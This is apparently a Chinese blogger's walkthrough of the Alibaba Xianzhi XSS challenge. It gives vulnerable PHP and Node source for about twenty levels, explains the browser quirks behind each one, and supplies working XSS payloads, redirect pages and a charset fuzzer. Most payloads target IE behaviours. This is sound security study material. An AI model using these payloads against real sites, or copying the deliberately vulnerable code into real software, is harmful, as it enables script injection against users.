前几天看到阿里先知有一个xss挑战赛,因为各种乱七八糟的事(主要是太菜了),一直没静下来好好研究一下。好在题目都提供了源码,又到了涨姿势的时间了~

1 文件上传

hint: HTML表单

代码比较多,这里只截取出现xss的点

1
2
3
4
5
6
7
8
//各种检测
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
}

很明显,出现xss的点是上传文件后直接将文件名输出了。

为了实现自动化攻击,我们需要构造html页面,诱导他人点开页面实现攻击。

这里有个很重要的点,我们不需要真正上传一个文件,可以通过构造表单的name值伪造文件上传

正常上传是这样的:

mark

可以看到最下面设置了Content-Type

如果不设置Content-Type,构造一个形似文件上传的Content-Disposition,php的$_FILES["fileToUpload"]["name"]依然可以接受到值。

mark

构造payload(只在IE11下测试通过,其他浏览器会将"转义):

mark

1
2
3
4
5
6
7
8
9
10
11
<body>
<form id="xss" action="http://127.0.0.1/ali_xss_challenge/xss1.php" method="POST" enctype="multipart/form-data">
<!--使用<input>会将"urlencode-->
<textarea id="t" value="test"></textarea>
</form>
<script type="text/javascript">
var t = document.getElementById('t');
t.name = 'fileToUpload"; filename="<img src=1 onerror=alert(document.domain)>.jpg';
document.getElementById('xss').submit();
</script>
</body>

2 getallheaders()

hint:善用缓存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
header('Pragma: cache');
header("Cache-Control: max-age=".(60*60*24*100));
header("X-XSS-Protection: 0");
?>
<html>
<head><meta charset=utf-8></head>
<body>
<?php
if(isset($_SERVER['HTTP_REFERER'])) {
echo "Bad Referrer!";
} else {
foreach (getallheaders() as $name => $value) {
echo "$name: $value\n";
}
}
?>
</body>
</html>

来看看题目设置的条件:

  1. 设置了缓存

    1
    2
    header('Pragma: cache');
    header("Cache-Control: max-age=".(60*60*24*100));
  2. 禁止使用referer

  3. 输出了其他所有的http头信息

解决问题的思路似乎很明显了:如果第一次能够修改http头然后再进行跨域请求,第二次再请求一次的时候,浏览器不会再次请求服务端,而是直接读取本地缓存的内容,所以http的信息还是不会变的。

payload如下(Chrome):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<html>
<head>
<meta name="referrer" content="never"> <!-- 跳转不带referer -->
<script>
var request = new Request('http://127.0.0.1/ali_xss_challenge/xss2.php', {
method: 'GET',
mode: 'no-cors',
redirect: 'follow',
headers: new Headers({
'Content-Type': 'text/plain',
'Accept': 'application/jsona<img src=1 onerror=alert(document.domain)>',
})
});

fetch(request).then(function() {
console.log(1);
});

</script>
</head>
<body>
<iframe src="http://127.0.0.1/ali_xss_challenge/xss2.php"></iframe>
</body>
</html>

人长得丑又菜,就要多提问题。。。

  1. 为什么不用ajax?

    基于CORS模型,浏览器发起的ajax请求分为简单跨域请求和非简单跨域请求。简单跨域请求不需要服务器允许便可发起,但浏览器会阻止响应。

    先来一篇科普 跨域资源共享 CORS 详解

    也就是说,如果我们使用ajax的话,请求可以正常发送,但是无法获取服务端的响应,因为浏览器会拦截。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'http://seaii-blog.com:8000');
    xhr.send();
    xhr.onreadystatechange = function() {
    if(xhr.readyState === 4)
    if(xhr.status === 200)
    if(xhr.responseText)
    console.log(xhr.responseText);
    }

    请求发出去了,但是得不到响应。

    mark

    mark

    此时需要在服务端设置

    1
    header("Access-Control-Allow-Origin:*");

    就可以正常获取响应。

  2. payload中的Request对象是什么鬼?

    除了贴链接和膜大神,还能说什么呢。。。

    https://developer.mozilla.org/en-US/docs/Web/API/Request

3 json

1
2
3
4
5
6
7
8
9
<?php
/*
json
hint: MIME Sniffing
*/
header("Content-Type:application/json;charset=utf-8");
header("X-XSS-Protection: 0");
echo '{"errno":0,"error":"","data":{"user":{"id":"2","user_name":"\u4e13\u4e1a\u6295\u8d44\u4ebafh","email":"","mobile":"139****0002","intro":"'.$_GET["value"].'","address":null,"photo":"\/avatar\/000\/00\/00\/02virtual_avatar_big.jpg","user_uuid":"779ab6bd7e2df90c37f1e892","header_url":"\/avatar\/000\/00\/00\/02virtual_avatar_big.jpg","user_id":"2","is_real_name":0,"is_real_name_string":"\u672a\u5b9e\u540d\u8ba4\u8bc1","real_name":"\u5c24\u6654","is_investor":0,"is_leader_investor":1,"cetificate_id":"511********4273","focus_area":["\u91d1\u878d:\u91c7\u8d2d\u7269\u6d41:\u80fd\u6e90\u73af\u4fdd:\u6cd5\u5f8b\u6559\u80b2:"],"third_party":[{"openid":"1212","type":1,"is_band":1},{"openid":"2oiVL4wNxso9ttarGMIoVa1q-w8kU","type":1,"is_band":1}]}}}'
?>

问题主要出在header("Content-Type:application/json;charset=utf-8");,加上提示的MIME Sniffing,这是一道专门针对IE的题目,利用方法在这application/json,application/javascript等Response下进行XSS

预备知识:

MIME嗅探,或称为MIME类型检查。IE4之后浏览器都不会自动识别网络文件类型为服务器在HTTP头中标示的文件类型了,而且IE浏览器也不会通过Extension或是Signature来判断文件类型。取而代之的是,IE浏览器检查文件前256bytes中包含的字符来判断文件类型。这样除了用户直接访问图片URL下载文件时仍然有问题,但是在IE中通过IMG标签访问图片将不会搞错图片类型了。

MIME嗅探最初只想防止服务器错误地标示content type。因为content type错误会导致攻击者绕开浏览器防自动执行下载文件的安全策略,特别是一些hta文件。MIME嗅探同时让浏览器对Content-Type有一定的容错性。如果服务器标示为text/plain类型但提供了HTML文件,IE浏览器会将文件正确处理为HTML文件。

对于一般GIF,JPEG和PNG格式文件,浏览器只要检查到文件Extension,Content-Type以及Signature标示的类型一致时,将忽略MIME嗅探的结果。如果三种方法标示类型不一致,IE浏览器将使用MIME嗅探到的类型。

payload照着文章改就行了。

http://127.0.0.1/ali_xss_challenge/xss3.html

1
2
3
4
<iframe src="http://127.0.0.1/redirect.php" id="x"></iframe>
<script type="text/javascript">
x.location.reload();
</script>

http://127.0.0.1/redirect.php

1
2
3
<?php
header("location: http://seaii-blog.com:8000/xss3.php?value=%3Cimg%20src=x%20onerror=alert(document.domain)%3E");
?>

修复方案:禁止ie进行MIME Sniffing

1
header('X-Content-Type-Options: nosniff');  

4 referer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
/*
referer
hint:浏览器差异
*/
header("X-XSS-Protection: 0");
?>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php echo "你来自:".$_SERVER['HTTP_REFERER'];?>
</body>
</html>

前面第二题的时候还在疑惑为什么要禁用referer,原来是单独有一个题在这等着。。。

先上一篇文章 http://www.hackdig.com/?04/hack-9586.htm

文中说ie8使用windows.location.href跳转,不会发送referer,但毕竟现在是2017年了,ie8坟头的草应该有两米高了,就不用在意了。。。

诱导访问受害者访问

1
http://127.0.0.1/ali_xss_challenge/xss4.html?a=<img src=1 onerror=alert(1)>

内容如下:

1
2
3
<script>
window.location.href = 'http://127.0.0.1/ali_xss_challenge'
</script>

跳转的方法还有很多,不再多说了。这个方法在ie11上是可以使用的,但是机智的firefox、chrome会将query中的部分符号进行urlencode,也就不存在这种漏洞了(骚操作闪瞎眼)。

Referrer不会被URL编码的现象,主要是在Windows7和Windows8.1 Win10的IE11以前也有,不过在打完Anniversary Update补丁之后,在对referrer的处理上做了一些改动,变成了会对referrer进行URL编码。

还有一个flash的payload的,没研究过flash xss,就不贴了。

ps. 当跳转的两个网站协议不同时(http与https),只有https->http不会传送referer。

5 跳转

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
/*
跳转
hint: 停止跳转的方式有很多种
*/
header("X-XSS-Protection: 0");
$url = str_replace(urldecode("%00"), "", $_GET["url"]);
$url = str_replace(urldecode("%0d"), "", $url);
$url = str_replace(urldecode("%0a"), "", $url);
header("Location: ".$url);
?>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php echo "<a href='".$url."'>如果跳转失败请点我</a>";?>
</body>
</html>

核心任务就是阻止浏览器跳转,来一篇p牛82。。。啊不,16年的文章https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html,里面几种阻止浏览器跳转的方式:

  1. 使用\0,因为PHP的header函数一旦遇到\0、\r、\n这三个字符,就会抛出一个错误,此时Location头便不会返回,浏览器也就不会跳转了。但是这里过滤了%00 等,所以无法利用。

  2. 在PHP没有关闭display_errors的情况下,只要在header位置的前面某处构造一个错误,一旦有错误信息在header前被输出,header函数也就不会执行了——原因是我们不能在HTTP体已经输出的情况下再输出HTTP头。似乎也不太适合这道题。

  3. FF下,使用csp禁止iframe跳转

    1
    2
    3
    4
    5
    <?php
    header("Content-Security-Policy: frame-src http://localhost:8081/");
    ?>

    <iframe src="http://localhost:8081/?path=http://www.baidu.com/%0a%0dX-XSS-Protection:0%0a%0d%0a%0d<script>alert(location.href)</script>"></iframe>

    题目中过滤了%0a、%0d,这种方法也就失效了。

  4. FF下,将跳转url的端口设为<80

    利用这个可以解决这个题。payload:

    1
    http://127.0.0.1/ali_xss_challenge/xss5.php?url=http://baidu.com:0/'><img src=1 onerror=alert(document.domain)><a>

6 强制下载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
/*
强制下载
hint: 有些Security feature也会坑队友
*/
header("X-XSS-Protection: 0");
header('Content-Disposition: attachment; filename="'.$_GET["filename"].'"');

if(
substr($_GET["url"],0,4) ==="http" && substr($_GET["url"],0,8)<>"http://0" && substr($_GET["url"],0,8)<>"http://1" && substr($_GET["url"],0,8)<>"http://l" && strpos($_GET["url"], '@') === false
)
{
//读取指定url的内容,由于前面设置了http头,所以读取到的内容不会直接显示出来
$opts = array('http' =>
array(
'method' => 'GET',
'max_redirects' => '0',
'ignore_errors' => '1'
)
);
$context = stream_context_create($opts);
$url=str_replace("..","",$_GET["url"]);
$stream = fopen($url, 'r', false, $context);
echo stream_get_contents($stream);
} else {
echo "Bad URL!";
}
?>

前面设置了下载的http头,然后读取指定URL中的内容,写入文件并下载到本地。我们需要绕过文件下载这个地方,让服务端读取的内容直接显示出来。说白了也是阻止浏览器跳转,这里我们用到第5题的第一种姿势:

使用\0,因为PHP的header函数一旦遇到\0、\r、\n这三个字符,就会抛出一个错误,此时Location头便不会返回,浏览器也就不会跳转了。但是这里过滤了%00,所以无法利用。

payload:

1
http://seaii-blog.com:8000/xss6.php?url=http://xx.com/xss6.html&filename=aa%00

xss6.html的内容为<script>alert(document.domain)</script>

7 text/plain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
/*
text/plain
hint: MIME Sniffing
*/
header("X-XSS-Protection: 0");
header('Content-Type: text/plain; charset=utf-8');

if(
substr($_GET["url"],0,4) ==="http" && substr($_GET["url"],0,8)<>"http://0" &&
substr($_GET["url"],0,8)<>"http://1" && substr($_GET["url"],0,8)<>"http://l" &&
strpos($_GET["url"], '@') === false
)
{
$opts = array('http' =>
array(
'method' => 'GET',
'max_redirects' => '0',
'ignore_errors' => '1'
)
);
$context = stream_context_create($opts);
$url = str_replace("..","",$_GET["url"]);
$stream = fopen($url, 'r', false, $context);
echo stream_get_contents($stream);
} else {
echo "Bad URL!";
}

?>

重点就是这个http头

1
header('Content-Type: text/plain; charset=utf-8');

由于设置了这个http头,获取到的内容即使是html代码,浏览器也不会解析,直接输出到页面上,我们要做的就是绕过这个头,利用的还是ie(ie:又是我…)的MIME Sniffing。

利用方法在这儿:https://jankopecky.net/index.php/2017/04/18/0day-textplain-considered-harmful/

payload构造起来就很简单了:

xss7.eml

1
2
3
4
5
TESTEML
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

=3Ciframe=20src=3D=27http=3A=2f=2f127.0.0.1=2fali_xss_challenge=2fxss7.php=3Furl=3Dhttp=3A=2f=2fseaii-blog.com=3A8000=2f7.txt=3Fname=3D=3CHTML=3E=3Ch1=3Eit=20works=3C=2Fh1=3E=27=3E=3C=2Fiframe=3E

7.txt: <script>alert(document.domain)</script>

防御:

文章中的X-Content-Type-Options: nosniff是可以防御的,相反X-Frame-Options: DENY并不能从根本去解决这个问题,这个只是防御了一种攻击方式,但是漏洞点却还在。

8 标签

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
/*
标签
hint: 尖括号后面能跟些什么?
*/
header("X-XSS-Protection: 0");
header("Content-Type: text/html;charset=utf-8");

if(substr($_GET["url"],0,4) === "http" && substr($_GET["url"],0,8)<>"http://0" && substr($_GET["url"],0,8)<>"http://1" && substr($_GET["url"],0,8)<>"http://l" && strpos($_GET["url"], '@') === false) {
$rule = "/<[a-zA-Z]/";
$opts = array('http' =>
array(
'method' => 'GET',
'max_redirects' => '0',
'ignore_errors' => '1'
)
);
$context = stream_context_create($opts);
$url = str_replace("..","",$_GET["url"]);
$stream = fopen($url, 'r', false, $context);
$content = stream_get_contents($stream);
if(preg_match($rule, $content)) {
echo "XSS Detected!";
} else {
echo $content;
}
} else {
echo "Bad URL!";
}
?>

根据提示和代码,我们要找<后面可以跟的非字母的字符。

ie9、10有这样一个payload,但是在ie11中失效了。

1
<% contenteditable onresize=alert(document.domain)>

但是可以通过x-ua-compatible设置文档兼容性,让它也能够兼容IE9、10的内容,还有一个很重要的点:

即便iframe内页面和父窗口即便不同域,iframe内页面也会继承父窗口的兼容模式,所以IE的一些老技巧、特性可以通过此方法去复活它。

payload:

1
2
<meta http-equiv=x-ua-compatible content=IE=9>
<iframe id=x src="http://127.0.0.1/ali_xss_challenge/xss8.php?url=http://seaii-blog.com:8000/8.txt"></iframe>

8.txt内容就是上面的payload。

9 plaintext(***)

1
2
3
4
5
6
7
8
9
<?php
/*
plaintext
hint: 字符集
*/
header("X-XSS-Protection: 0");
header("Content-Type: text/html;charset=gb3212");
?>
<plaintext><?php echo $_GET["text"];?>

代码不多但绝对劲爆的一道题。。。

本来想的是找一个优先级比plaintext还高的标签来截断它,然而并没有,看了提示,发现是通过字符集差异来逃逸。

我们有时候在使用浏览器的时候,也会遇到编码不同导致乱码问题,这个问题主要在于服务端和客户端之间的字符集存在差异导致的。

详细看这篇文章深入分析 web 请求响应中的编码问题

上面的由于两端的差别导致的乱码,从xss角度出发,我们也就只能分析客户端 所以问题来了:http的响应头的编码、页面的meta等都可以设置头的东西,那么具体是什么时候具体对应的会起作用?

  1. ua里面已经确认指明了才会选择。
  2. 第二个是http响应头大编码设置,也就是Content-Type,当它设置了charset并且支持这个charset,也就是不为空并且字符集是存在的。
  3. 第三个就是如果meta标签设置编码是在html前1024个字节的时候,浏览器会根据这个编码去解析,这个是浏览器直接解析,完全是不受plaintext影响

我们注意到题目的编码是不存在的编码GB3212,所以符合第三种情况。那么我们要做的:

第一步,利用meta改变页面字符集。

第二步,利用字符集之间的差异,寻找异类的字符集,这里使用的是cp1025编码。

1
http://127.0.0.1/ali_xss_challenge/xss9.php?text=<meta http-equiv="content-Type" content="text/html; charset=cp1025">

mark

可以看到plaintext消失了,但是这种方法仅能用于ie

第三步,确认异类字符集的编码表,这里直接贴lemon大佬的代码了。

fuzz.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<meta http-equiv="content-Type" content="text/html; charset=gb3212">
<?php
if(!ini_get('safe_mode')){
set_time_limit(0);
}
header("X-XSS-Protection: 0");
header("Content-Type: text/html;charset=gb3212");
?>
<html>
<head></head>
<body></body>
<script>
function hex_pad(int_){
hex_ = int_.toString(16);
if(hex_.length==1){
hex_ = '0'+hex_;
}
return hex_;
}
for(var i=0;i<255;i++){
var id = 'id_'+hex_pad(i);
var divO = document.createElement('div');
divO.id = id;
divO.innerHTML = hex_pad(i);
document.body.appendChild(divO);

var iframea = document.createElement('iframe');
iframea.src= 'http://a.com/test/xss/xsschange/9/game.php?text='+"%"+hex_pad(i);
document.getElementById(id).appendChild(iframea);
}
</script>
</html>

还需要一个game.php

1
2
3
4
5
<?php
header("X-XSS-Protection: 0");
header("Content-Type: text/html;charset=cp1025");
?>
<?php echo @$_GET["text"];?>

fuzz后得到payload为:

1
http://127.0.0.1/ali_xss_challenge/xss9.php?text=<meta http-equiv="content-Type" content="text/html; charset=cp1025">%4c%89%94%87%01%a2%99%83%7e%f1%01%96%95%85%99%99%96%99%7e%81%93%85%99%a3%4d%f1%5d%0b%6e

测试没有成功。。。

10 MVM

1
2
3
4
5
6
7
8
9
10
11
MVM
hint: Client Side Template Injection
<html ng-app>
<head>
<meta charset=utf-8>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.5/angular.js"></script>
</head>
<body>
<input id="username" name="username" tabindex="1" ng-model="username" ng-init="username='<?php if(strlen($_GET["username"])<37){echo htmlspecialchars($_GET["username"]);}?>'" placeholder="username" maxlength="11" type="text">
</body>
</html>

AngularJS?模板注入?前几天刚刚收集了姿势!1.6.5的?emmmmm……

收集了姿势挺开心,本来想一把梭直接怼,可是梭不够锋利。。。。。

payload:

1
http://127.0.0.1/ali_xss_challenge/xss10.php?username={{[].pop.constructor('alert(1)')()}}

11 HOST

1
2
3
4
5
6
7
8
9
10
"use strict"

var http = require("http");
var server = http.createServer(function(req, res) {
res.writeHead(200, { "Content-Type" : "text/html;charset=utf-8", "X-XSS-Protection" : "0" });
res.end( '<html><head><title>' + req.headers["host"] + '</title></head><body>It works!</body></html>');
});

server.listen(8000);
console.log("Running server on port 8000");

node.js写的后端,一开始跑不起来,源码做了一点修改。

HOST头处有xss,这里仍然要针对ie(ie:mmp…)

https://labs.detectify.com/2016/10/24/combining-host-header-injection-and-lax-host-parsing-serving-malicious-data/

文章大体意思是在低版本的ie中,跳转过去的链接不会被urlencode。根据文章payload构造起来就比较简单了:

xss11.php

1
2
3
4
<?php 
header('HTTP/1.1 307 Redirect');
header('Location: http://192.168.1.128:8001%2f<%2ftitle><script>alert(document.domain)<%2fscript><!--.baidu.com');
?>

本地测试依然失败。。。

###12 preview

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
/*
preview
hint: MIME Sniffing
*/
# the request
$ch = curl_init($_GET["url"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
# get the content type
$mime = array(
"application/octet-stream",
"application/postscript",
"application/x-cdf","application/x-compressed",
"application/x-zip-compressed",
"audio/basic","audio/wav","audio/x-aiff",
"video/avi","video/mpeg","video/x-msvideo",
"image/png","image/jpeg","image/gif"
);
if (in_array(curl_getinfo($ch, CURLINFO_CONTENT_TYPE), $mime)) {
header("Content-Type:".curl_getinfo($ch, CURLINFO_CONTENT_TYPE));
//header("X-Content-Type-Options: nosniff");
echo curl_exec($ch);
}
# output
// text/html; charset=ISO-8859-1
?>

简单看一下代码,首先请求获取到的URL,获取mime类型,如果mime是指定的,就设置http头,再次访问url。

这里考察IE的content sniffing:

有些服务器指定的不是一个正确的Content-Type头,所以IE为了兼容这些文件类型,它会将文件的前256个字节与已知文件头进行比较,然后得到一个结果…也就是<html>作为开头的话,会被认为是text/html

mark

图中内容来自https://xianzhi.aliyun.com/forum/read/224.html

payload:

1
http://127.0.0.1/ali_xss_challenge/xss12.php?url=http://seaii-blog.com:8000/12.php

12.php

1
2
3
4
<?php
header("Content-Type: application/octet-stream");
?>
<html><script>alert(document.domain)</script></html>

13 REQUEST_URI

1
2
3
4
5
6
7
8
<?php
/*
REQUEST_URI
hint: 浏览器差异
*/
header("X-XSS-Protection: 0");
echo "REQUEST_URI:".$_SERVER['REQUEST_URI'];
?>

这题和前面第4题referer类似,都是利用ie在跳转时不会urlencode的问题。

payload:

1
2
3
<?php 
header("Location: http://seaii-blog.com:8000/xss13.php/<svg/onload=alert(document.domain)>");
?>

经过测试,html、js的跳转方法均不可用,例如:

1
<script type="text/javascript">window.location.href = "http://seaii-blog.com:8000/xss13.php/<svg/onload=alert(document.domain)>";</script>

mark

14 HIDDEN

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
/*
HIDDEN
hint: 寻找合适的Trigger
*/
header('X-XSS-Protection:0');
header('Content-Type:text/html;charset=utf-8');
?>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<form action=''>
<input type='hidden' name='token' value='<?php
echo htmlspecialchars($_GET['token']); ?>'>
<input type='submit'>
</body>

似乎是个很经典的问题,输出点在标签中且存在hidden属性,导致很多事件都没有办法触发。

一般分为两种情况(input标签不能闭合):

  1. 输出点在hidden属性之前

    可以覆盖type为其他,<input value="a" src=1 onerror=alert(1) type="image" type="hidden">

  2. 输出点在hidden属性之后

    1. 间接的方式来触发,比如' accesskey='x' onclick='alert(/1/),然后按shift+alt+x触发xss
    2. 无交互触发, 'style='behavior:url(?)'onreadystatechange='alert(1)

payload(仅ie):

1
http://127.0.0.1/ali_xss_challenge/xss14.php?token=%27style=%27behavior:url(?)%27onreadystatechange=%27alert(1)

其实这道题还有一个必要条件,标签的属性值必须用单引号来包裹。

15 Frame Buster

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
/*
Frame Buster
hint: DOM Clobbering
*/
header("X-XSS-Protection: 0");
$page = strtolower($_GET["page"]);
$regex = "/on([a-zA-Z])+/i";
$page = str_replace("style","_",$page);
?>
<html>
<head>
<meta charset=utf-8>
</head>
<body>
<form action='xss15.php?page=<?php
if(preg_match($regex,$page))
{
echo "XSS Detected!";
}
else
{
echo htmlspecialchars($page);
}
?>'></form>
<script type="text/javascript">
if(top!=self){
location=self.location
}
</script>
</body>
</html>

一种防御iframe框架加载的方式,如果用框架加载的话,会让页面一直刷新。

题目又提示了DOM Clobbering,啥是DOM Clobbering?

1
2
3
4
<form id=abc def=123></form>
<script>
alert(abc.def)
</script>

如果在IE8下,弹窗的结果将是123。同样,这道题中的self.location也可以用这种方式覆盖。我们可以用之前第8题中的方法,让这个漏洞在ie11中复活。

payload:

1
2
<meta http-equiv=x-ua-compatible content=IE=8>
<iframe id=x src="http://127.0.0.1/ali_xss_challenge/xss15.php?page=1' name=self location='javascript:alert(document.domain)"></iframe>

16 PHP_SELF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PHP_SELF
hint: RPO Attack
<html>
<head>
<meta charset=utf-8>
<meta http-equiv="X-UA-Compatible" content="IE=10">
<link href="styles.css" rel="stylesheet" type="text/css" />
</head>
<body>
<img src="xss.png" style="display: none;">
<h1>
<?php
$output=str_replace("<","&lt;",$_SERVER['PHP_SELF']);
$output=str_replace(">","&gt;",$output);
echo $output;
?>
</h1>
</body>
</html>

提示是RPO,表示从来没有听过。。。来一篇文章https://www.mbsd.jp/Whitepaper/rpo.pdf

大体就是这意思(直接上代码可能更好理解一点):

1
2
3
4
<?php 
header('X-XSS-Protection: 0');
echo $_SERVER['PHP_SELF'];
?>

访问http://127.0.0.1/test/rpo.php,输出test/rpo.php

访问http://127.0.0.1/test/rpo.php/a=1,输出test/rpo.php/a=1

访问http://127.0.0.1/test/rpo.php/<svg%2fonload=alert(1)>,就弹窗了耶。

这道题把尖括号给过滤了,我们能做的就是加载css,然后通过css再去加载js。

可以利用sct文件,但是缺陷就是sct必须要是在同域下.

可以发现题目还有一个xss.png….内容如下

1
2
3
4
<scriptlet>
<implements type="behavior"/>
<script>alert(1)</script>
</scriptlet>

payload:

1
http://127.0.0.1/ali_xss_challenge/xss16.php/{}*{behavior:url(http://127.0.0.1/ali_xss_challenge/xss.png)}*{}/

通过css来触发xss的姿势似乎也有不少。。。

17 passive element (***)

1
2
3
4
5
6
7
8
9
10
11
<?php
/*
passive element
*/
header("Content-Type:text/html;charset=utf-8");
header("X-Content-Type-Options: nosniff");
header("X-FRAME-OPTIONS: DENY");
header("X-XSS-Protection: 0");
$content=$_GET["content"];
echo "<div data-content='".htmlspecialchars($content)."'>";
?>

各种http头都设置了,过滤也加上了,而且输出点在div,一个被动元素中。

废话少说,攒姿势吧。。。

payload(除ff,包括edge):

1
http://127.0.0.1/ali_xss_challenge/xss17.php?content=%27onfocus=%27alert(1)%27%20contenteditable%20tabindex=%270%27%20id=%27xss#xss

18 graduate (***)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
/*
graduate
*/
header("Content-Type:text/html;charset=utf-8");
header("X-Content-Type-Options: nosniff");
header("X-FRAME-OPTIONS: DENY");
header("X-XSS-Protection: 1");
?>
<html>
<head>
<meta charset=utf-8>
</head>
<body>
<textarea>
<?php
//Fix#001
$input=str_replace("<script>","",$_GET["input"]);
//Fix#002
$input=str_replace("/","\/",$input);
echo $input;
?>
</textarea>
</body>
</html>

输出点在textarea中,而且/被转义了,也就是说不能闭合标签,textarea又是一个优先级比较高的标签,想在这个标签内部搞事是很困难的。

一切看起来都那么无懈可击,但是我们注意到一个细节:

1
header("X-XSS-Protection: 1");

这本来是告诉浏览器要开启XSS Auditor,看看我们伟大的ie是怎么做的,尝试插入一个<textarea>:

1
http://127.0.0.1/ali_xss_challenge/xss18.php?input=%3Ctextarea%3E

mark

看到底下那句有点想笑,真的是讽刺。。。

这时前面的2个<textarea>已经失效了,后面的</textarea>由于html的松散性根本没有影响,相当于textarea的牢笼已经被打破了,继续在后面插入<svg\onload=alert(document.domain)>,验证我们的猜想。

1
http://127.0.0.1/ali_xss_challenge/xss18.php?input=<textarea><svg onload=alert(1)>

mark

可以看到标签已经成功逃逸出来了,但是由于X-XSS-Protection,onload被过滤了。。。但是不要忘了这个

1
$input = str_replace("<script>","",$_GET["input"]);

比较老的套路了,payload:

1
http://127.0.0.1/ali_xss_challenge/xss18.php?input=<textarea><svg o<script>nload=alert(1)>

XSS Auditor还是chrome比较nb,ie给人一种秀操作惨翻车的感觉。。。

19 Party

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Party
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script>
function getCookie(cname) {
var name = cname + "=";
var decodedCookie = decodeURIComponent(document.cookie);
var ca = decodedCookie.split(';');
for(var i = 0; i < ca.length; i++) {
var c = ca[i];
while (c.charAt(0) == ' ') {
c = c.substring(1);
}
if (c.indexOf(name) == 0) {
return c.substring(name.length, c.length);
}
}
return "";
}

function checkCookie() {
var user=getCookie("username");
if (user != "") {
document.write("欢迎, " + unescape(user));
} else {
alert("请登录")
}
}
</script>
</head>
<body onload="checkCookie()">
<?php echo '<img name="avatar" src="'.str_replace('"',"&quot;",$_GET["link"]).'" width="30" height="40">';?>
</body>
</html>

一个输出点在属性中,还把双引号给过滤了,这个地方基本就给xss判了死刑了。但是别忘了还有另一处输出点,就是js中获取cookie值并输出,我们可以修改cookie,构造一处DOM XSS。然而自己本地修改cookie连self xss都算不上,顶多哄自己开心。。。这里就用到FireFox的一项即为“方便”的功能——通过meta标签来设置cookie

http://insert-script.blogspot.jp/2016/12/firefox-svg-cross-domain-cookie.html

文中最后说需要data协议才可以成功,这道题恰好在img的src中有输出点

1
data:image/svg xml,<meta xmlns='http://www.w3.org/1999/xhtml' http-equiv='Set-Cookie' content='username=<script>alert(1)</script>' />

由于使用data协议,所以整个内容需要urlencode一次,并且cookie在getCookie()中过了一次decodeURIComponent,在checkCookie中过了一次unescape,所以还要编码2次,也就是说cookie前后编码了三次。。。。最后payload:

1
127.0.0.1/ali_xss_challenge/xss19.php?link=data:image%2fsvg%2bxml,%3Cmeta%20xmlns=%27http://www.w3.org/1999/xhtml%27%20http-equiv=%27Set-Cookie%27%20content=%27username=%25%32%35%33%43script%25%32%35%33%65alert%25%32%35%32%38document.domain%25%32%35%32%39%25%32%35%33%43%25%32%35%32%66script%25%32%35%33%65%27%20/%3E

20 THE END

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
/*
the end
*/
header("Content-Type:text/html;charset=utf-8");
header("X-Content-Type-Options: nosniff");
header("X-FRAME-OPTIONS: DENY");
header("X-XSS-Protection: 0");

$hookid=str_replace("=","",htmlspecialchars($_GET["hookid"]));
$hookid=str_replace(")","",$hookid);
$hookid=str_replace("(","",$hookid);
$hookid=str_replace("`","",$hookid);
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script>
hookid='<?php echo $hookid;?>';
</script>
<body>
</body>
</html>

限制比较多,用到了ie比较老的一个漏洞。

payload(ie):

1
2
3
4
5
http://127.0.0.1/ali_xss_challenge/xss20.php?hookid='%2b{valueOf:location,toString:[].pop,0:'javascript:alert%2528document.domain%2529',length:1}%2b'

http://127.0.0.1/ali_xss_challenge/xss20.php?hookid='%2b{valueOf:location,toString:[].join,0:'vbscript:alert%2528document.domain%2529',length:1}%2b'

...

番外 jQuery (***)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
/*
jquery
*/
header("Content-Type:text/html;charset=utf-8");
header("X-Content-Type-Options: nosniff");
header("X-FRAME-OPTIONS: DENY");
header("X-XSS-Protection: 0");
?>
<html>
<head>
<meta charset="utf-8">
<script src="https://code.jquery.com/jquery-3.2.1.js"></script>
<script>
window.jQuery || document.write('<script src="http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/jquery.js"><\/script>'); //v1.6.1
</script>
</head>
<body>
<script>
$(function(){
try { $(location.hash) } catch(e) {}
})

</script>
</body>
</html>

